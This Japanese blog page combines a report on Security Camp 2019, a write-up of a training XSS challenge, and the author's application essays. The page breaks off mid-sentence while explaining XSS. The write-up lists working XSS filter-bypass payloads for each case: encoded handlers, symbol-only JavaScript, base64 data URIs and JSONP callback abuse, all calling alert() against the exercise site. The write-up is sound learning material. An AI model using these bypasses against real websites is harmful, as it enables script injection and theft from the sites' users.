セキュリティ・キャンプ全国大会2019に参加した

これis何

セキュリティ・キャンプ全国大会2019 B開発と運用トラックに参加させていただいたので、感想やらなにやらを書いたものです。 なお、各講義については、感想文としてお読みください:-)

セキュリティ・キャンプとは

サイバーセキュリティについての高度な技術が学べる勉強会です。全国大会と地方大会があり、前者は5日間泊まり込みでおべんきうできます。https://www。security-camp.or.jp/camp/index.htmlxn--wwwsecurity-camp-m12o.or.jp

応募課題

応募に際しては、応募課題(セキュリティ・キャンプ全国大会2019 応募要項 :IPA 独立行政法人 情報処理推進機構)を回答する必要があります。

僕の回答については以下を読んでいただければ幸いです。

セキュリティ・キャンプ全国大会2019の応募課題晒し - けんちゃむろぐ

事前課題

必修講義、選択講義ともに、各講義のための事前課題がありました。ボリュームも質も相当あります。これだけでもかなり勉強になります。というより、ちゃんとやっておかないと当日何をやっているかわからなくなってしまうと思います:(

任意課題も一応解いて臨みましたが、当日はついていくのに精いっぱいでした…

day1

昼頃に会場であるクロスウェーブ府中に集合しました。久々に朝早起きしてトーホク地方から向かったため、なかなか疲れていました。

開会式後は全体講義でした。「転ばぬ先の法律」では、サイバーセキュリティを推進する上での倫理や法律について、「セキュリティ基礎」では、そもそもパスワードってどういうものよ?という根本について、「ITの話ができる仲間を作ろう」では、コミュニティ活動や仲間との切磋琢磨についてそれぞれ学びました。

余談ですが、大量にいただいたノベルティの中には羊羹やラノベなど面白いものがたくさんありました。個人的に欲しかったバイナリかるたゲットしたのでうれしかったです。

day2

一日を通して、Bトラックの必修講義の「クラウド時代における大規模分散Webシステムの信頼性制御」を受講しました。前半は坪内さんによる座学で、Webシステムのアーキテクチャやスケーリングについて、トレードオフの関係やSREの基礎について学びました。後半は仲山さんによる講義で、SNSのようなシステムに対しスケールするような設計と実装を施していくというものでした。演習の環境構築から少々時間がかかってしまったため、休み時間や夕食後の時間も早めに講義室に入るなどして設計を考えました。しかし、俯瞰する部分と詳細を突き詰める部分の見方が悪く、よくない設計となってしまい、今回のセキュリティ・キャンプ内で最も反省点が多いものとなりました。DynamoDBを使用しましたが、そもそもNoSQLについての理解が甘かったのと、仕様の調査もきちんとできていませんでしたし、そこからずるずると、今までできていた設計(以前やったことのあった設計)まで崩れたものになってしまいました。

専門講義初日から落ち込んでしまい、夜中には悪夢をみて起きるという事態にまでなりました。:cry:

day3

この日は選択講義のB4「認証の課題とID連携の実装」、B5「体系的に学ぶモダンWebセキュリティ」を受講しました。 B4では、そもそもIDと認証とは?という概念的なものから、実際のFIDOやOpenIDConnectのフロー、そしてその実装をサンプルを使って学びました。事前課題の任意課題まで解いていたので、何とか講義についていくことができました。

B5では、事前課題でやった内容を前提にハンズオンが主体でした。具体的には、CSSinjectionのデモ、それを利用したぷちCTFをやりました。結局時間内に答えにまでたどり着けませんでしたが、具体的にどういう動きをするかが学べてとても楽しかったです。講義中にうまくいかなかったところの原因がTypoによるものだということに後で気づき、だいぶ頭が凝りかたまっているなあと反省しました。 また、つばめさんに、「シェルスクリプト書くとかすぐさまPythonワンライナーを書くとかして、効率化や自動化すると幸せになれる」というコメントをいただき、学習や生活の中でも、どんどん便利に素早くやることの重要性を教えていただきました。

day4

この日は選択講義のC6「事例と法律」、B7「ユーザー企業における情報システムとセキュリティ」を受講しました。 C6では、刑法の基礎についての座学があった後、法律の条文を読みながら事例についてチームで検討し、発表し議論するというものでした。様々な解釈が可能な事例を提示していただき、事実や行動がどう論理的に説明できるかということを学びました。また、相手(検事と弁護士両方など)の視点を考えることも重要で、反論に対し、論理的な説明をするのが難しかったです。

B7では、これまでの境界セキュリティとは別に、ゼロトラストの考えを用いたセキュリティの考え方について学びました。Trustゾーンの信頼性の低下によって、複数の変数による妥当性の担保をしなければならなくなったことなどを、変遷を踏まえて学び、その具体的なものとして、GoogleのBeyondCorpについても詳しく学びました(もっとも、ゼロトラストの概念とはBeyondCorpのことだというお話がありました)。

ラストナイトイベントでは、運よくたくさんのテキストなどをいただくことができました。

day5

最終日は各コースの成果発表を聞きました。特にゼミやネクストの進捗はすさまじく、濃く面白い発表でした。また、ジュニアの方々も、中学生とは思えない進捗を生んでおり、圧倒されてしまいました。自分は中学生の頃、Linuxすら知らなかったよ…

グループワークのまとめも行い、僕たちのグループでは、ブログなどによる学びのアウトプットを主体に、大きな目標として書籍の出版を掲げました。

まとめ

初日から、講師、チューター、参加者の方々すべてのレベルの高さに圧倒されていました。このような環境でレベルの高い講義を受講できたことは非常に貴重でした。ものすごい技術力をお持ちであるのに、初歩的なことまで丁寧に教えてくださった講師やチューターの方々、すべての関係者の方々、参加させていただけたことを本当に感謝いたします。

自分ははるかに技術力的に未熟なんだなと感じることができました。 講義によって学んだ技術的なものもさることながら、熱意をもってセキュリティに取り組んでいる方々に刺激をもらえたことが、最も貴重な学びだったと感じています。

今回圧倒的に感じた、スピード感や熱意を自分のものとし、精進していきたいと思います。

おまけ

閉会式終了時の事務局の方によるおもしろスライド

XSS Challenge Writeup

これis何

これは、セキュリティ・ミニキャンプ in 岡山2018のつばめさんの講義で使用された演習コンテンツXSS Challenge (by y0n3uchy)のWriteupという名のメモです。ぼちぼち解いてからローカルに眠っていたものを掘り出してきました。今更って言わないで…なお、まだ書いてない問題もあります:-(

Writeup

CSP disabled (easy ... mid)

CSPが適用されていない問題。

Case 01: Simple XSS1

Reflected XSS。特に工夫はいらない。

<script>alert('XSS')</script>
<script>alert(document.domain)</script>

Case 02: Simple XSS2

  • URLの#以下をinnerHTMLで代入している。
  • imgタグで存在しないソースを指定し、故意にonerror属性を走らせ、スクリプトを実行する。
https://xss.shift-js.info/case02.php#<img src=/ onerror=alert('XSS')>
https://xss.shift-js.info/case02.php#<img src=/ onerror=alert(document.domain)>

Case 03: With htmlspecialchars()

  • PHPのhtmlspecialchars()でエスケープされた文字列が、aタグのhref属性に指定されている。
  • javascriptスキームでコードを書いたあと、リンクをクリック。
javascript:alert('XSS')
javascript:alert(document.domain)

Case 04-1: Without any backquotes and HTML tags

  • バッククォートとタグが使えない。
  • unicode \uXXXX形式表記が使用できる。
  • < = \u003C , > = \u003Eなので、それぞれ置き換える。
\u003Cimg src=/ onerror=alert('XSS')\u003E
\u003Cimg src=/ onerror=alert(documen.domain)\u003E

Case 04-2: Without any backquotes, HTML tags and [ux]

  • 04-1に加えて、uxが使えない。
  • バッククォートで展開されているため、テンプレートリテラルを使用できるので${String.fromCharCode()}で除去対象を置き換える。
  • スクリプトを書いて変換すれば楽
${String.fromCharCode(60)}img src=/ onerror=alert('XSS')${String.fromCharCode(62)}
${String.fromCharCode(60)}img src=/ onerror=alert(doc${String.fromCharCode(117)}ment.domain)${String.fromCharCode(62)}
  • 地味にuが入ってる

Case 05: Without any alphabets

  • 大小英数字が使えない。
  • JavaScriptは記号でコードをかけるのでalert('XSS')alert(document.domain)を記号化。
  • インターネットにツールがたくさん落ちている。
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"('\\"+$.__$+$._$$+$.___+"\\"+$.__$+$._$_+$._$$+"\\"+$.__$+$._$_+$._$$+"')"+"\"")())();
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.$$_$+$._$+$.$$__+$._+"\\"+$.__$+$.$_$+$.$_$+$.$$$_+"\\"+$.__$+$.$_$+$.$$_+$.__+"."+$.$$_$+$._$+"\\"+$.__$+$.$_$+$.$_$+$.$_$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$_$+$.$$_+")"+"\"")())();

Case 06-1: Without any paretheses

  • カッコが使えない。
  • HTML数値文字参照を使えるのでカッコを使用した文字列を置き換える。
<img src=/ onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>
<img src=/ onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;>

Case 06-2: Without any parentheses and [oO][nN]

  • 06-1に加えて、[oO][nN]が使えない
  • Data URI Schemaを使って、base64エンコードされたコードを埋め込める。
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script src=data:text/javascript;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==></script>

Case 06-3: Without any paretheses and .[oO].[nN].*

  • カッコに加えて.*[oO].*[nN].*が使えない。
  • 06-1の解答のalert('XSS')のほうはそのままでOKだが、alert(document.domain)のほうが引っかかる。
  • スペースやらなにやらを雑に追加すると、base64エンコード文字列が制約に引っかからない。今回はalert( document.domain)でOKだった。
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script src=data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbik=></script>

Case 06-4: Without any paretheses, .[oO].[nN].* and tag attributes

  • 06-3に加えて、<[a-zA-Z]+.+?>が使えない。
  • 除去されたあとに攻撃コードが残ればよいので、ダミーになるタグを用意すればよい。
<<I'm KenChaM>script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<<I'm KenChaM>script src=data:text/javascript;base64,YWxlcnQoIGRvY3VtZW50LmRvbWFpbik=></script>

Case 07-1: Without any quotes

  • ' " `が使えない。06-1の数値文字参照や06-2のbase64の方法が使える。alert(document.domain)はそのまま。
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=/ onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script>alert(document.domain)</script>

Case 07-2: Without any quotes and &#

  • 07-1に加えて&#が使えない。
  • 07-1の解答群のなかのいくつかが使える。
<script>alert(String.fromCharCode(88,83,83))</script>
<script src=data:text/javascript;base64,YWxlcnQoJ1hTUycp></script>
<script>alert(document.domain)</script>

Case 08-1: Without any backquotes, parentheses and HTML tags

  • [`()<>]が使えない。
  • htmlspecialchars()を通した入力値がspanタグに出力されているので、" でid属性から抜けた後、onclickイベントハンドラにコードを記述。
  • カッコも使えないので数値文字参照も使う。
"onclick="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;
"onclick="&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#x2e;&#x64;&#x6f;&#x6d;&#x61;&#x69;&#x6e;&#x29;

Case 08-2: Without any backquotes, parentheses, HTML tags and &#

上記に加え、&#が使えない。以下の方法が使える。

XSS technique without parentheses

"onclick="window.onerror=eval;throw'=\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0058\u0053\u0053\u0027\u0029'";
"onclick="window.onerror=eval;throw'=\u0061\u006C\u0065\u0072\u0074\u0028\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u002E\u0064\u006F\u006D\u0061\u0069\u006E\u0029'";

Case 09-1: Without any spaces and "script"

  • scriptという文字が使えない。
  • 大文字なら大丈夫
<SCRIPT>alert('XSS')</SCRIPT>
<SCRIPT>alert(document.domain)</SCRIPT>

Case 09-2: Without any spaces and "[sS][cC][rR][iI][pP][tT]"

  • 大文字も使えない。
  • 06-4に似た方法で除去後の文字列に攻撃コードが残ればよい。
<scrSCRIPTipt>alert('XSS')</scrSCRIPTipt>
<scrSCRIPTipt>alert(document.domain)</scrSCRIPTipt>

CSP enabled (mid ... hard)

ここからはCSPが適用されている問題。

Case 20: Bad use of JSONP

  • JSONPで値を取得している。
  • 入力値はエスケープされていない。
  • JSONPのcallback関数を悪用する。
<script src="jsonp.php?callback=alert('XSS')"></script>
<script src="jsonp.php?callback=alert(document.domain)"></script>

Case 21: nonce + unsafe-eval

追記します…

Case 22: nonce + unsafe-eval

追記します…

Case 23: nonce + strict-dynamic

追記します…

セキュリティ・キャンプ全国大会2019の応募課題晒し

これis何

セキュリティ・キャンプ全国大会2019開発と運用トラックの参加に際し、奇跡的に通った黒き歴史ポエム応募課題を晒すことにしました(慣習のようですし)。なお、公開にあたり多少修正していること、内容の正確さの保証ができないことはご承知願います(俺たちは雰囲気で応募している)。

セキュリティ・キャンプとは

サイバーセキュリティについての高度な技術が学べる勉強会です。全国大会と地方大会があり、前者は5日間泊まり込みでおべんきうできます。www.security-camp.or.jp

課題

共通課題

問1

公開している資料等

このブログ、TwitterGitHub等のリンクを書きました。

問2

セキュリティ・キャンプ地方大会などセキュリティに関するイベントに参加していれば、それを記入してください。

以前参加した、ミニキャンプやCODEBLUEなどのもろもろのイベント歴を書きました。

問3

オープンソースなどの活動に参加していれば、どんな実績があるかを記入してください。参加の形態は開発だけには限りません。

学内で伝統的に使われているライブラリに対する助言などの歴について書きました。

オープンソースカンファレンスなどのイベントや、大きなオープンソースのプロジェクトにコミットしたことはなかったので、規模は小さいが書かないよりは…くらいの気持ちで書いた記憶があります。

問4

自分のスキルについて、得意としている、あるいは得意としたい技術領域について、なぜその技術領域が好きなのか、その技術領域でどんな世界を作っていきたいのか、『好きなだけ』語ってください。

得意としたい技術領域はWebセキュリティ分野です。
僕は普段、専門学校の情報工学科で学んでいます。他校のようにセキュリティ学科があるわけでなく、大学のようにアカデミックな研究をするわけでもありません。情報の様々な分野に手を出し、自分のやりたいことを勝手に見つけていく形をとっています。 そのような中、なぜWebセキュリティの分野に興味を持ったか。理由は大きく2つです。1つ目は、世の中の現行webサイトの中に脆弱性だらけのサイトがあり、放置されている現状を体験してしまったから。これは専門学生2年生の頃でした。よくニュース等で、「〇〇という大きなサービスにも脆弱性がある」などという報道がなされていました。無論、完全なるバグの排除はほぼ不可能ですから、当時の僕は興味こそあれ、「世界の名だたる技術者から見ると、抜け道はあらゆる場所にあるのだな」程度の認識でした。しかし、その後とあるサイトに登録した際、自分のログイン情報がデータベースに平文で保存されているであろう現場に遭遇してしまいました。ログイン情報の問い合わせをした際に平文で情報をメール送信してきたため発覚しました。衝撃でした。まだセキュリティの勉強をそれほどしていなかった私にとっても、おかしいとわかる問題でした。このことから、世の中には、最先端の脆弱性だけでなく、初歩的なセキュリティすらままならないサイトが数多くあるのだと実感してしまったのです。今でこそ、この事例は明確な脆弱性というわけでなく、不適切な実装という類のものだと認識していますが、それでも僕の人生に影響を与えました。 2つ目は、学内のWeb開発演習において、脆弱性を排除しきれぬまま成果物を提出したことです。これは専門学生3年生のことです。学内Web開発演習において、メイン機能の実装に追われ、思うようなセキュリティ強度のあるサイトを作り切れませんでした。理由1の経験から、ログイン情報のハッシュ化、入力値のエスケープ処理などは実装しましたが、その他は正直満足できない状況でした。案の定演習終了後は「こんな実装すればよかった」、「あれを忘れていた」などと嘆くこととなりました。
上記の理由から、世の中には脆弱性だらけのWebサイトがはびこっていること、それを感じていながらいざ自分が実装するとてんでだめだ、という認識を得ました。同時に、学内では広く浅く情報工学を学んできましたが、もっと深く掘り下げるべきはWebセキュリティだと決意しました。 Webアプリケーションの特徴に、非常に一目につきやすいというところがあります。ネットサーフィンしていたら簡単に開けますし、SNSなどに貼られたリンクから飛ぶことも容易いでしょう。しかし、このような手軽さ、身近さという特徴を残しながら、近年のITの飛躍的な進歩により、一般ユーザと技術者に知識や認識の乖離が広がっているのは事実だと思います。さらには、攻撃手法も飛躍的に進化しているわけで、一般ユーザであっても、ネットリテラシがある程度必要にならざるを得ない世になっています。ひと昔前であれば、httpとhttpsはどう違うのかだとか、緑色のアドレスバーは何を意味しているのかというようなこと、最近であれば、ドメインをしっかりみるとか、検索エンジンの上位にあるからといって安全であるとかぎらないとかです。学校教育のインターネットの手引書や情報の授業においても、高度なものを学んでいる様子が散見されます。僕は、このような乖離によって、一般ユーザに高度なリテラシが必須な状況は減っていくべきだと考えます。勿論いまは、IT進化の過渡期ですから、ネットリテラシを学ぶのは必要だと思うし、そうあるべきだと思いますが、最終的にはそうではない世であるべきです。ITは世の中を便利にしようと生まれました。Webはその中ではぐくまれ、身近な存在として位置しています。しかし、利用するたびにサイバー犯罪ににおののき、Webサイトを見るというだけでもこれは正規のサイトか、通信は暗号化されているか、などと一般ユーザが気にすることは、便利になった世に必要なだと言えないでしょう。Webの特徴だと感じている手軽さも危ういところかもしれません。これはユーザビリティ以前の問題です。
こうした理由から、僕は、限りなく透過的にセキュアなWeb世界を作りたいと思っています。極論を言えば、サイバーセキュリティという分野がなくなるほど、世の中がセキュアになれば良いのですが、曖昧さを孕んだ人間が作り、利用するのですからそうはいきません。ですから、脆弱性診断や開発者へのWebセキュリティの助言や提案などを通して、技術者と一般ユーザの乖離に関わらず、ユーザが安心してWebを使えるようにしたいと思っています。また、技術者は技術者で、PoCの公開、エクスプロイトコードの共有がさらに盛んにされるように開けた世界にしたいです。

Webセキュリティに興味がある理由などを書いたわけですが、いや~~イキリ案件です。

問5

あなたが今まで作ってきたソフトウェアにはどのようなものがありますか?また、それらはどんな言語やライブラリを使って作ったのか、どこにこだわって作ったのか、たくさん自慢してください。

  1. "ゲーム開発を助けるソフト「StageEditor」"
    MFCを使用しました。3D座標の画面に任意のオブジェクトを配置し、ゲーム制作時のステージ作成補助するというものです。オブジェクトの種類として、タイル、キューブ、トーラスなど様々あります。ダイアログでは座標などの数値をむき出しにしていますが、手打ちで数値を入力する必要はなく、GUIで配置できます。その際対象オブジェクトの各数値はダイアログにも反映されます。また、画像ファイル(.jpg ,.png ,.tga)を読み込んで、テクスチャとして登録し使用できます。これは、指定ディレクトリ(../media/)に存在する画像ファイルを自動検出し、コンボボックスに追加しておくことで楽に操作ができます。データのエクスポートについては、CSV形式を採用しています。これは、対象ユーザである本校ゲーム科1年生にヒアリングを行った結果です。CSV形式の利用者が非常に多かったため、この形式にしました。

    2. "書籍を扱うECサイト"
    はじめて製作したWebの制作物です。使用した学内のライブラリはDB操作を助けるライブラリのため、フロントエンド、バックエンドは生のHTML+CSSやJSやPHPを書いていますし、データベース設計はSQLを書いてほとんど一人で行いました。世界には複数の言語で書かれた書籍が多数存在しますが、それらを一挙に扱うサイトがなかったので、原書と翻訳された書籍をひとまとめに扱うことをテーマに制作しました。典型的なECサイトの体をなしていて、ユーザ側はゲスト、もしくはユーザ登録をし($_SESSION等を使いセッション管理されています)、書籍を検索、カートに入れて購入手続きをするという一連の流れが行えます。ユーザ登録のメリットは、本棚機能があり、自分が購入した書籍をマイページから並べて閲覧できる点です。全ての書籍の表紙画像については、書籍の登録時にISBNを登録することで自動取得できるようにしました。管理側の機能は管理業務に関するもので、それぞれ参照・登録・削除・更新等の基本機能を実装しました。受注管理については一度の注文に複数の種類の書籍が含まれることに対応するため、注文テーブルと注文書籍テーブルを分割し、在庫などの状況から、注文の中で発送時期に差異ができても対応できるようにしました。ユーザ側に見せるトップ画面に表示する書籍は、管理画面にてジャンルをチェックボックスで選択することで選択されたジャンルの書籍をランダム表示するようにしました。 セキュリティとしては、当時の僕にとっては精いっぱいの実装で、htmlspecialchars()による入力値の特殊文字エスケープ、ユーザ情報のハッシュ化などは最低限実装しました。しかしながら、最近になって、コードを見直す機会があり、当時の実装を見てみたところ、そもそも使用していたライブラリの実装していたハッシュ関数md5だったことに気づき、問3で記述した通り修正した次第です。この製作が、座学でやってきたものが実装は難しいと思い知らされ、Webセキュリティに興味がわいた一因であることは間違いありません。

    3. "スクリプト言語「vv12lang」" 
    機能として以下があります。単純な四則演算(+, -, , /)、変数(int, double, string)、代入演算(=, +=, -=, =, /=)、標準出力(print,printf)、ブロック文({})、ループ文(while)コメント(1行、範囲)。
    現在進行形のプロジェクト(2019年6月現在)です。学内ではもっぱら高レイヤが多いので、低レイヤのことを学びたいと思って着手しました。Windows上のVisualStudioで開発することにしたため、字句解析、構文解析Windows対応であるFlex、Bisonを採用しました。そのためその前身であるUNIX系用の解析ソフトウェアのLex、Yaccについての記事などを参考にしました。 製作中に直面した壁として、BisonがC++STLを読んでくれないというものがありました。しかし、Bisonのファイルである.yファイルは、C++で記述された各.hファイルをインクルードする必要があり、さすがにSTL無しで開発となるとC++を使っている意味はどこへやらということなので、対処としてPImplイディオムを使うことにしました。これはこの時初めて知ったテクニックでした(本校教員に教えてもらいました)。これにより、STLの使用を.cppファイルの中に隠蔽することで、STLを使っていながらも、Bisonからはその模様を隠すことに成功しました。なお、STL用の.hファイルは別に作成し、各.cppファイルにインクルードさせました。

    4. "汎用的なライブラリ群"。
    様々なところで出現する自分のなかの問題点や自動化したい処理などを実装した細々したライブラリ群です。
    • 天気予報の取得と服装の自動選択
      • LivedoorWeatherから天気予報をjson形式で取得し、データに沿って服装スタイルを決めてくれます。これは僕が普段着ているジャージのパターンが数パターンしかなかったことから、いっそのこと選択も自動化しようと思い作ったものです。結果はrequstsを使用しSlackに投げています。また、batファイルを作成しタスクスケジューラに入れておき、朝起きるとその日に着ていくジャージの通知が来ている状態にしていた時期もありました。
    • netcatでの自動応答
      • CTFなどで、netcatでサーバに接続し自動応答が要求されるもの(手動では不可能な時間で応答させるもの)があったので、応答を取得し、要求文字列や虫食い算の計算結果を自動返信させました。
    • パスワード付きzipファイルに対するパスワード解析
      • CTFなどの検証環境で、ある規則に倣ったパスワードが設定されているzipファイルが渡されたときに、自動試行するために作成しました。実装としてはライブラリとしてosとitertoolsを使い、規則に沿った文字列群を生成し、その順列の数だけunzipコマンドを実行するというものです。
    • ディレクトリ内のファイルに対する一斉操作
      • Web製作の際に、ディレクトリ内のファイル全てのファイル名に特定文字列を追加する必要が出てきたため、手動でやるのは大変だと思い、ファイル名に対する一斉操作できるようにしました。

うーむ、ほかの参加者の成果物を見ているとなんとも凡庸な感じがしてならない…。が、privateリポジトリの中身を一時的に公開へ移し、絞り出して書きました。自作言語については、2019年6月現在では、新たな実装(比較演算子、for文、if文、break文、continue文、関数定義と呼び出しなど)が追加されています。

問6

あなたがこれまで利用したことがあるインターネットサービスの中で一番すごい!と思ったものについて、技術的なのか、仕組み的なのか、ビジネス的なのか、どんなところがすごいと思ったのかを説明してください。

プログラミングコンテストサイトについてすごいところをいくつか挙げました。

問7

今年のセキュリティ・キャンプ全国大会で受講したいと思っている講義は何ですか? そこで、どのようなことを学びたいですか?なぜそれを学びたいのですか? 講義を担当する講師に響くようにアピールしてください(複数可)。

正直なところ、受講したい講義が複数被っていて選択するのは苦しいのですが、この選考を通過したことを想定し、時間割を立ててみました。

B1~3:クラウド時代における大規模分散Webシステムの信頼性制御
昨今では、AWSが東京リージョンでリリースしているサービスが多くなってきたことに代表されるように、Web開発の本番環境のクラウド上でDockerをはじめとするコンテナ技術を利用できる環境が整っています。しかし、仮想化技術を使うだけでセキュリティが担保されるわけではないし、クラウドのセキュリティについては、DevOpsにおけるスピードとのバランスを考えなくてはならないと思います。これらは先日参加したDevelopers.ioでも大いに語られていました。このことから僕はこの講義では、自分が開発し持ち寄ったWebシステムを強固にしていく様を体験したいと同時に、セキュリティを強固にすることで生じる運用のスピードとの乖離、バランス、根幹技術の変容などを学びたいです。

B4:認証の課題とID連携の実装
- 自分がインターネットを触り始めてからというもの、数えきれないほど行ってきた認証する=ID/パスワードを入力という認識が強いのは確かです。問5にも記述したWebサイト制作においても、単純なID/パスワード認証のみの実装でした。しかし、実際に運用されているサービスでは、多要素認証やバイオメトリクス認証は日常的に行われる存在と認識しています。僕はこの講義では、FIDOのネットワークに認証情報を流さない技術やOpenID Connectの実践的な実装を学びたいです。そして、ID/パスワードから移行されつつある認証技術を理解したいです。また、認証技術の変化に伴い変わるWebの認証の中でセキュリティエンジニアが留意するべき点に迅速に対応できるようにしたいと考えます。

B5:体系的に学ぶモダンWebセキュリティ
僕はセキュリティミニキャンプ2018岡山を受講しました。そこでは、オリジンの考え方とブラウザのセキュリティ、XSSを使ったCookieの窃取を体験しました。僕はこの当時、座学としてWebセキュリティは学んでいましたが、それが実世界のどのようなコードと実装で成り立つのか学びきれずにいました。そのような中受講した講義で、今まで座学でやってきたことが立体的に目の前に現れた感覚になり、自分を活字上から引き上げてくれました。というのも、ただ、XSSが成功して終わりという内容でなく、具体的にどのような被害が出るかまで体験させていただけたからです。これを機に、自分の環境で脆弱性を模した実装をデモしたり、セキュリティの回避だけでなくその先の実被害まで考えを巡らせるようになりました。この講義ではWebをとりまくセキュリティ、しかしながら、XSSだけではなくサイドチャネルまで取り扱っていただけるとのことでさらに興味がわきました。Webセキュリティのはらむ、多岐にわたる攻撃手法と最終的にWebセキュリティに至る様々なアプローチを学びたいです。

C6:事例と法律
技術的イノベーションはいかなる時代も危険がつきものです。安易な実装、まだ世間的に受け入れられていない技術の検証、導入を行なう際は法に抵触するおそれがあることに留意せねばなりません。エンジニアが該当しやすい、不正アクセス禁止法個人情報保護法などは2000年代以降に施行されたものが多く、刑法の不正指令電磁的記録に関する罪などはさらに新しく、2011年施行です。IT技術が急激に発展してきたことで、このように比較的新しい法律が作られてきました。しかし、該当する法律の条文が抽象的かつ難解であり、解釈の余地が複数あるように見えてしまいます。最近であれば、Coinhive事件や無限アラート問題で議論になったかと思います。このような状態のなか、自分のプロダクトや活動、仕事が正当なものだと自信をもつには、自分がなにをやっているかという技術的な理解とともに法律の正しい理解が必要だと感じます。エンジニアは法律を知っているだけでは足らず、熟知していることが大前提となったと思うのです。セキュリティエンジニアであればなおさらです。このようなことから、僕はこの講義でどこまでが違法でどこまでが合法かの境界を学びたいです。自分自身の条文の解釈が曖昧なせいで、「ここまでは大丈夫だろう」などと「だろう」という推測のまま、活動をしたくはないです。類似の裁判例も紹介していただけるとのことで、より具体的で詳細に技術と法律の関係性について学びたいです。

B7:ユーザー企業における情報システムとセキュリティ
クラウドを使って開発し、インターネット上からコンソール操作、業務ツールをオンラインで使用、という業務体系が見慣れてきたものだと思います。そのような中、どこから許可してどこからを禁止にするかという境界を網羅的に決定するのはもはや簡単にできるものではなくなったということは納得ができることです。ですから、セキュリティを担保しなくてはならないのに、そうすることで、ビジネスの成長を止めてしまうことになっては本末転倒だと思います。この講義では、キーワードであるゼロトラストの概念に基づくことで、セキュリティ強度とビジネスの成長性のバランスはどうなるのか、多層防御と比較して具体的にどのような差異があるか学びたいです。

選択課題

以下の中から、2問以上を選んで回答してください。

問3

XSS (Cross-Site Scripting) とは何か、自分の言葉で説明してください。またあなたが Web サービスを開発・運用するとしたら XSS 攻撃に対してどんな対策を取るかを、できるだけ多くの視点から考え、思いついたことを教えてください。

XSSとは、動的にWebページを生成するWebアプリケーションの脆弱性もしくはそれを悪用した攻撃のことです。攻撃が成功することで、ユーザのブラウザ上で悪意あるHTMLタグやJSなどが動いてしまいます。出力箇所において攻撃が露呈するため、ユーザが悪意あるURLを踏んだり、罠サイトの閲覧をする必要があるので、受動的攻撃に分類されます。ここでいう受動的攻撃とは、攻撃者が直接対象を攻撃するのでなく、Webサイトのユーザに罠を仕掛けることにより、ユーザを通してアプリケーションを攻撃する手法のことです。
通常、ブラウザにはWebアプリケーションにアクセスするとき、やりとりしているサイト以外からのJavaScriptなどによるアクセスを禁止するため、SOP(Same-Origin-Policy)が採用されています。これにより原則、ブラウザの持っているデータは、SOPにより定義されるサーバ(FQDNの一致、スキームの一致、ポート番号の一致するもの)しか取得できないようになっています。そのため、攻撃者がユーザの情報を不正に扱うためには、ユーザが直接やり取りしているサーバを攻撃する必要があります。また、情報セキュリティには多層防御という考えがあり、それに乗っ取れば、Webアプリケーションの層(境界)はオリジンであるといえます。このことからXSSは、どうにかして攻撃対象のオリジン内部から任意スクリプトを実行してやろうという攻撃だといえます。オリジンの内部であればWebサイト全体が影響を受ける対象となり、スクリプトの実行もクロスオリジンと比べ明らかに自由度が違います。しかしながら、XMLHttpRequestなどでクロスオリジンでアクセスする場面がいくつかあります。その際はCORS(Cross-Origin Resource Sharing)を利用します。ただし、CORSはブラウザが自主的にデータを受信しないだけであり、アクセスの遮断はできません。そのため、ソケット接続などで受信できる場合があることには注意が必要です。

XSSは攻撃スクリプトの所在によって、以下の3つに分けられます。
- 反射型(Reflected)
悪意のあるスクリプトを含んだリンクなどを通して罠サイトと脆弱サイトにまたがり、スクリプトを脆弱サイトのWebページに注入するものです。リンクの送信には、メールや掲示板などがあげられます。

- 格納型(Stored)
